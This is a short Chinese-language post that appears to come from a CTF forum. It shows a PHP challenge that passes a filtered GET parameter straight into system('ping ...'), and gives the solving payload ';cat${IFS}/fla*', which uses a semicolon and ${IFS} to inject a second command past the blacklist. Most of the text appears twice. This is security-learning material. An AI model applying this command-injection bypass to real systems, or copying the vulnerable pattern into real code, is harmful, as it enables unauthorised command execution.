这个是题目
我给他提出来
<?php
highlight_file(__FILE__);
if(preg_match('/\ |flag|\#/',$_GET['tag'])){
die('hacker!');
}else{
$tag = $_GET['tag'];
$cmd = 'ping -c 3 ' . $tag;
system($cmd);
}
哥们我想了好久,他没有说明flag文件,就想到了是不是要提权,通过这个system函数
这个是题目
<?php
highlight_file(__FILE__);
if(preg_match('/\ |flag|\#/',$_GET['tag'])){
die('hacker!');
}else{
$tag = $_GET['tag'];
$cmd = 'ping -c 3 ' . $tag;
system($cmd);
}
哥们我想了好久,他没有说明flag文件,就想到了是不是要提权,通过这个system函数
铁铁们,答出来了
$tag=;cat${IFS}/fla*
分号是不管前面执行是否失败,会自动执行分号后的代码